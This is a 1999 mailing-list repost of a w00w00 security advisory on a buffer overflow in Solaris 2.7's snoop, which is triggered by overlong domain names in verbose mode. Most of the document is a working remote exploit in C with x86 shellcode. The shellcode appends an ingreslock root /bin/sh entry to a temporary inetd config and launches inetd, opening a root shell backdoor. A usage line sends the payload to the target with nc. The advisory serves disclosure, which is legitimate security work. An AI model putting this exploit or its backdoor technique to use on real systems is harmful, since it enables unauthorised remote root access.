w00giving #8] Solaris 2.7's snoop

From: Aleph One (aleph1at_private)
Date: Mon Dec 06 1999 - 22:46:12 PST

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    Date: Tue, 7 Dec 1999 04:42:06 +0300 (MSK)
From: Matt Conover <shokat_private>
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cc: w00w00at_private
Subject: [w00giving #8] Solaris 2.7's snoop
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[Note: as we promised, our website and technotronic will get this advisory
before anything else does.  Thanks for participating in technotronic.]

w00w00 Security Development (WSD)
http://www.w00w00.org/advisories.html

Discovered by: K2 (ktwoat_private)

Snoop is a program similar to tcpdump that allows one to watch
network traffic.  There is a buffer overflow in the snoop program when run
in verbose (-v) mode that occurs when a domain name greater than 1024
bytes is logged, because it will overwrite a buffer in print_domain_name.
This vulnerability allows remote access to the system with the privileges
of the user who ran snoop (usually root, because it requires read
privileges on special devices).

---------------------------------------------------------------------------
Exploit (by cheez):

/*
   Remote Solaris 2.7 x86 snoop exploit

   Run with ( ./snp ) | nc -u target_host_network 53
   requires target host to be running "snoop -v"

   Thanks str/horizon for shellcodes (hi plaguez)
*/

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char shell[] =
"\xEB\x37\x5E\x8D\x5E\x10\x89\x1E\x83\xC3\x08\x89"
"\x5E\x04\x83\xC3\x03\x89\x5E\x08\x83\xEB\x0B\x8D"
"\x0E\x89\xCA\x33\xC0\x89\x46\x0C\x89\x46\xF5\x89"
"\x46\xFA\x88\x46\x17\x88\x46\x1A\xB0\x3B\x52\x51"
"\x53\x50\x9A\x73\x74\x72\x6E\x07\x72\xE8\xC4\xFF"
"\xFF\xFF\x31\x33\x20\x4A\x61\x6E\x20\x31\x39\x39"
"\x38\x2D\x2D\x73\x74\x72\x2F\x62\x69\x6E\x2F\x73"
"\x68\x28\x2D\x63\x29 echo w00w00;"
"echo \"ingreslock stream tcp nowait root /bin/sh sh -i\" >> /tmp/w00;"
"/usr/sbin/inetd -s /tmp/w00; /bin/rm -f /tmp/w00";

#define SIZE 2048
#define NOPDEF 349
#define DEFOFF 0

char buffer[SIZE];
const char x86_nop=0x90;
long nop=NOPDEF, esp=0x8047344, offset=DEFOFF;

int main (int argc, char *argv[])
{
    int i;

    if (argc > 1) offset += strtol(argv[1], NULL, 0);
    if (argc > 2) nop += strtoul(argv[2], NULL, 0);

    memset(buffer, x86_nop, SIZE);
    memcpy(buffer+nop, shell, strlen(shell));

    for (i = nop+strlen(shell); i < SIZE-4; i += 4)
        *((int *) &buffer[i]) = esp+offset;

    fprintf(stderr,"0x%x\n", esp+offset);
    printf("%s", buffer);

    return 0;
}
---------------------------------------------------------------------------

Patch:

Because Sun Microsystems doesn't include source, we must wait for them to
release a patch.
---------------------------------------------------------------------------

http://www.roses-labs.com, http://www.napster.com,
http://www.technotronic.com, http://www.w00w00.org

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